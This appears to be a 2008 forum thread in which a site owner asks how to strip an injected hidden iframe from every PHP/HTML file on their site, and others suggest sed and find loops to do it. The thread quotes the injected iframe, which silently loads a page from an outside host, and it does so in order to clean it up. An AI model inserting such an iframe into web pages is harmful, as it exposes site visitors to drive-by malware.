dzufauzan · #1 07-03-2008

here's the case :

almost of php/html file on my site has added the text :

Code:

<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

I don't know how this happen, so i want to remove above text from all of my php/html.

i have tried this following script :

Code:

for y in *
do
  sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done

Above script was works but only in the directory where i run the script, i want all files in subdirectory too, anyone can help me?

Thx

Use find to loop through the directory and the subdirectories:

Code:

for i in $(find *)

Both will breake if the filenames contain embedded spaces or other pathological characters.

Ooh, very good point! Me = Fail.
Ok then:

Code:

find . -type f | while read i

heh, 'pathological characters', nice way of putting it

If your initial code works as you describe, you should be able to get away with simply replacing the "for i in *" line with the line given above.
